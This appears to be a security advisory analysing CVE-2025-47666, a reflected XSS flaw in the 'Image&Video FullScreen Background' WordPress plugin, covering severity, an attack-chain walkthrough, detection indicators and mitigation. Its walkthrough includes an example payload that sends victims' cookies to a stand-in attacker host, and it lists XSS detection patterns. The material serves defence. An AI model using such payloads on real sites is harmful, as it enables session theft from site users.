CVE-2025-47666: 
WordPress vulnerability analysis and mitigation

CVE-2025-47666 is a Reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup "Image&Video FullScreen Background" WordPress plugin (slug: lbg_fullscreen_fullwidth_slider). It affects all versions of the plugin through and including 1.6.7, with no lower version bound specified. The vulnerability was reported by Patchstack and published to the NVD on January 22, 2026. The CNA (Patchstack) assigned a CVSS v3.1 base score of 7.1 (High), while an earlier CISA-ADP score of 6.1 (Medium) was subsequently removed (NVD, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the reflected type. User-supplied input is insufficiently sanitized or escaped before being rendered in the HTTP response, allowing an attacker to inject malicious JavaScript that executes in the victim's browser. Exploitation requires the attacker to craft a malicious URL containing the payload and trick a user into clicking it (user interaction required). No authentication is required on the attacker's part to construct the malicious request (NVD, Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session on the affected WordPress site. This can lead to session cookie theft, credential harvesting, defacement of page content as seen by the victim, or redirection to malicious sites. The scope is changed (cross-origin impact), with low confidentiality and integrity impact and, per the updated Patchstack scoring, low availability impact as well (NVD, Patchstack).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly, NVD).

1. Reconnaissance: Identify WordPress sites running the "Image&Video FullScreen Background" plugin (slug: lbg_fullscreen_fullwidth_slider) version 1.6.7 or earlier, using tools such as WPScan or passive fingerprinting via HTTP response headers or page source.
2. Identify vulnerable parameter: Determine which URL parameter(s) handled by the plugin are reflected unsanitized in the HTTP response (specific parameter names are not publicly disclosed).
3. Craft malicious URL: Construct a URL targeting the vulnerable plugin endpoint with a reflected XSS payload embedded in the vulnerable parameter, e.g., https://target-site.com/?plugin_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a victim (e.g., via phishing email, social engineering, or malicious advertisement) and induce them to click it.
5. Achieve objective: When the victim loads the URL in their browser, the injected script executes in the context of the target WordPress site, enabling session hijacking, credential theft, or further malicious actions (NVD, Patchstack).

• Network: HTTP GET or POST requests to WordPress pages with unusual or encoded script tags (<script>, %3Cscript%3E, javascript:) in URL query parameters associated with the lbg_fullscreen_fullwidth_slider plugin.
• Logs: Web server access logs showing requests with XSS payloads (e.g., <script>, onerror=, onload=) in query strings directed at plugin-related endpoints; referrer headers pointing to external attacker-controlled domains.
• Browser/Client-Side: Unexpected outbound requests from victim browsers to unknown external domains immediately after visiting a WordPress page using this plugin.

WordPress site administrators should update the "Image&Video FullScreen Background" plugin to a version beyond 1.6.7 if a patched release is available from the plugin author (LambertGroup). If no patched version is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Patchstack, NVD).